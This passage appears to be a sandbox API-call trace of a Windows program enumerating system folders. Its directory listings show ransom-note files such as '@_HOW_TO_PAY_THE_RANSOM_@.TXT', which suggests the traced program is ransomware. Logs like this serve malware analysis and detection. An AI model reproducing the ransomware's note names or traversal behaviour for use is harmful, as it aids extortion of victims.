(in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0253.136] GetFileType (hFile=0x178) returned 0x1 [0253.136] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c630 | out: hHeap=0x510000) returned 1 [0253.137] AreFileApisANSI () returned 1 [0253.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0253.139] AreFileApisANSI () returned 1 [0253.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0253.140] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\MCX\\X02\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x143e73a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143e73a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.141] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x143e73a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143e73a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.141] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143e73a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x143e73a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143e73a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.141] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143e73a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x143e73a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143e73a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.141] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143e73a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x143e73a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143e73a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.141] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8aec2cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8aec2cd0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x699000, dwReserved0=0x0, dwReserved1=0x3, cFileName="XboxMCX-V.XEX", cAlternateFileName="XBOXMC~1.XEX")) returned 1 [0253.141] AreFileApisANSI () returned 1 [0253.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5288b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0253.144] AreFileApisANSI () returned 1 [0253.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5288b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62 [0253.146] AreFileApisANSI () returned 1 [0253.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5288b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0253.147] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\MediaRenderer\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf49440, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x143e73a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143e73a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.147] AreFileApisANSI () returned 1 [0253.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0253.149] AreFileApisANSI () returned 1 [0253.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0253.150] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.150] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.150] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.150] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.150] CloseHandle (hObject=0x178) returned 1 [0253.151] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x595e58 | out: hHeap=0x510000) returned 1 [0253.151] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0253.151] AreFileApisANSI () returned 1 [0253.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0253.151] AreFileApisANSI () returned 1 [0253.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0253.151] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.151] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.152] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.152] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.152] CloseHandle (hObject=0x178) returned 1 [0253.152] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561e48 | out: hHeap=0x510000) returned 1 [0253.152] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0253.152] AreFileApisANSI () returned 1 [0253.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0253.153] AreFileApisANSI () returned 1 [0253.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0253.153] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.153] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.153] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.153] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.153] CloseHandle (hObject=0x178) returned 1 [0253.154] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561e48 | out: hHeap=0x510000) returned 1 [0253.154] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0253.154] AreFileApisANSI () returned 1 [0253.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0253.155] AreFileApisANSI () returned 1 [0253.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0253.155] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.155] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.155] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.155] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.155] CloseHandle (hObject=0x178) returned 1 [0253.156] AreFileApisANSI () returned 1 [0253.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0253.159] AreFileApisANSI () returned 1 [0253.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0253.160] AreFileApisANSI () returned 1 [0253.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0253.162] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\wow\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1440d500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1440d500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.162] AreFileApisANSI () returned 1 [0253.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0253.162] AreFileApisANSI () returned 1 [0253.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0253.162] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.162] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.162] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.162] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.162] CloseHandle (hObject=0x178) returned 1 [0253.163] AreFileApisANSI () returned 1 [0253.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0253.164] GetFileType (hFile=0x178) returned 0x1 [0253.165] AreFileApisANSI () returned 1 [0253.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.166] AreFileApisANSI () returned 1 [0253.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0253.180] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\wow\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8946bd, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14433660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14433660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.181] AreFileApisANSI () returned 1 [0253.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0253.183] AreFileApisANSI () returned 1 [0253.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0253.184] AreFileApisANSI () returned 1 [0253.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0253.186] FindFirstFileA (in: lpFileName="C:\\\\Windows\\en-US\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x144597c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x144597c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.186] AreFileApisANSI () returned 1 [0253.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0253.186] AreFileApisANSI () returned 1 [0253.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5434a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0253.186] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.186] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.187] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.187] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.187] CloseHandle (hObject=0x1f0) returned 1 [0253.188] AreFileApisANSI () returned 1 [0253.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0253.231] AreFileApisANSI () returned 1 [0253.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0253.232] AreFileApisANSI () returned 1 [0253.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0253.235] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Fonts\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x144cbbe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x144cbbe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.236] AreFileApisANSI () returned 1 [0253.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0253.236] AreFileApisANSI () returned 1 [0253.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0253.236] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.236] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.236] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.237] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.237] CloseHandle (hObject=0x1f0) returned 1 [0253.277] AreFileApisANSI () returned 1 [0253.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0253.277] AreFileApisANSI () returned 1 [0253.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0253.278] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.278] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.278] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.278] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.278] CloseHandle (hObject=0x1f0) returned 1 [0253.279] AreFileApisANSI () returned 1 [0253.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0253.280] GetFileType (hFile=0x1f4) returned 0x1 [0253.281] AreFileApisANSI () returned 1 [0253.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0253.304] AreFileApisANSI () returned 1 [0253.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0253.305] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14564160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14564160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.305] AreFileApisANSI () returned 1 [0253.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59 [0253.306] GetFileType (hFile=0x1f0) returned 0x1 [0253.307] AreFileApisANSI () returned 1 [0253.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0253.310] AreFileApisANSI () returned 1 [0253.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59 [0253.311] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\ELS\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1458a2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1458a2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.312] AreFileApisANSI () returned 1 [0253.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, 